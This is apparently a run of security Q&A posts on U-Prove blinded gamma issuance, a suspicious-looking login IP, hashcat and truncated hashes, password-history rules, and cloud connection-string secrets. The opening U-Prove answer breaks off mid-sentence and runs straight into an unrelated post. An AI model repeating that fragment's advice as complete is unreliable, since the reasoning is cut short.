First of all in U-Prove you are able to use a blinded gamma (I guess that's what you ment). The blinded gamma comes from the Attribute Authority (AA). With this blinded gamma the Issuer is not able to see the attributes and there values which he puts into the token. But if you have this situation, the Issuer must fully trust the AA. How the blinded gamma works, please see U-Prove Collaborative Issuance
Extension.

To your two examples, the gamma is calculated from the AA itself and sent to the Issuer and Prover (he gets the unblinding information too, to verify if the attributes are correct). If you want to have more than just the attributes from one AA you have to collect them somewhere before calculating the blinded gamma (I wouldnt recommend this, because this is nearly the same as


unfamiliar IP when logging into ssh server I just noticed something today, and Now I am curious...
I was on my shell server, an i was wondering who was on, so I gave the command $w
and saw this:

j0h@server:~$ w
 22:06:02 up 18 days,  7:02,  3 users,  load average: 0.71, 0.35, 0.17
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
j0h      tty5                      07Jun14 14days  0.38s  0.33s -bash
j0h      pts/0    :0.0             Fri21   24:08m  0.20s  0.20s /bin/bash
j0h      pts/2    182.53.252.66.kn 22:01    2.00s  0.22s  0.00s w

so then, I saw the 182.53.252.66.kn address and I am wondering, what is that address? That isnt my usual IP.
so then, I checked my IP address, and indeed, they do not match.
I decided to browse the IP 182.53.252.66 in Firefox for giggles, and got a response from a cheap router,TD854W.

so then I decided to check against my webserver, what my IP is, via the access logs, which threw back my normal IP address.

Next, I used dig, nslookup, and whois  which shows me a recurring theme that
my traffic is headed through a totbb.net
;; ANSWER SECTION:
66.252.53.182.in-addr.arpa. 80  IN  PTR node-1dtu.pool-182-53.dynamic.totbb.net.

This all seems suspicious to me. As an East coast denizen, having my traffic go through Bangkok  seems peculiar. The TD854W isn’t exactly ISP class hardware.
and I'm just totally sketched out at the moment.

Any words of wisdom? Am I just being paranoid? Should I be looking for something else? I have a proprietary ZHONE modem at home, I have no idea how to determine if it has been compromised, and there is no determinable interface I can find.  Should I contact my ISP about this?

That's a truncated hostname, and it's actually in reverse IP order.  The full hostname is 182.53.252.66.knds.xdsl.dyn.ottcommunications.com.  OTT Communications seems to cover from Maine to West Virginia.  Maybe they're your ISP, or your ISP resells for them?  Does your IP match 66.252.53.182?


Hashcat solving truncated hashes In hashcat, how does one specify that the given hashes have been reduced to a specific length? I.e. the stored hashes that are to be solved are truncated versions of what the hash function provides?

As of the current version (3.30), hashcat does not currently support truncated hashes beyond the half-MD5 modes. In my discussions with the team, I made the pitch (basically what I wrote here).

So far, they have expressed non-interest in expanding partial-hash matching to other types, as it's considered to be out of scope for the project. But this could change in the future.


How to securely counter users from adding a single digit to their old password upon creating a new one? Let's say that in the password policy the password history is defined to remember the last 10 passwords.

I understand password history exists so that if a password is recovered from a compromised database by some attacker, chances are way less likely that password is actually the user's current password.

However, if upon periodic password reset, the users simply appends '1' to his old password, and on the next period reset he appends let's say '2', this greatly decreases the effectiveness of periodic password resets. As soon as the attacker recovers two old passwords of the same user in clear text, he will see the pattern and can guess the actual current password of the user...

The best practice is to hash (+ salt) passwords, however as far as I can see this makes it impossible to check whether the user simply appended a single digit to his old password or not.

The passwords could be encrypted instead of hashed, which would address my concern, however I don't like the idea of passwords being reversible to plain text without bruteforce attacks.

I am wondering what the best solution would be to prevent users from making this minor changes to their old password when resetting it? Can it be technically achieved in a very secure manner, or does this definitely require user awareness?

You can't.  Your users are doing this because the reset mechanism has become obtrusive to them getting work done.  People are clever enough to get around any of the mechanisms you're going to devise.  Those that aren't will quickly learn from those that are.  Information like this travels fast.

If you somehow were to figure out how to counter the password1 password2 password3 scheme that people commonly use, you'll almost instantly be confronted with a new scheme.  1password 2password 3password.  Now you see a NEW pattern, and simply iterate all numbers.  So the user comes up with a yet better scheme.  passwordA passwordB passwordC.  You'll spend weeks coming up with a counter-measure, only to be defeated in 10 minutes by a clever person who thought of something you didn't.

The point being, that the users ability and cost to get past your counter-measures far outweigh your ability to continually develop new schemes to try to prevent them.

The solution is simply to stop seeing your users as adversaries who you're trying to defeat.  They aren't.  Users are simply trying to get things done, and you've put up a barrier to do so.  If this really bothers you so much, you need to adjust your attitude towards the users and work with them to come up with something that suits BOTH your needs, and doesn't create an adversarial relationship.


ASP.Net Secure Connection String in Cloud Hosting Background

In a normal bare metal hosting (IIS) we can use Integrated Security(eg : With AD) and hence, the config entry do not contain the  connection string's plain text password.  Or we can encrypt the connection string and can use a secure key store to secure the encryption key.

Question

In a cloud hosting environment( eg: Azure, AWS), how we can secure this connection string ? Normally we do have only a control panel to upload required files and ability to perform other minimal configurations. And most of the time, we do need to access a DB in a different location with credentials. How can we secure our connection string in the config file without using plain text credentials. If we encrypt the connection string, how can we secure the key?

In Azure, you have several options.  One is Azure Key Vault which is an HSM-backed secret storage service.   Another, if you're using Azure Web Applications or App Services, there's a configuration section in the portal specifically for storing application settings and connection strings.

I know AWS also offers HSM as a Service products, and I imagine they have analogous configuration management tools as well.

The other option you have if you're using IaaS instead of PaaS, is to continue using integrated authentication. When your environment is simply a bunch of VMs in the cloud, you can set them up just as you would a bunch of VMs in your data center.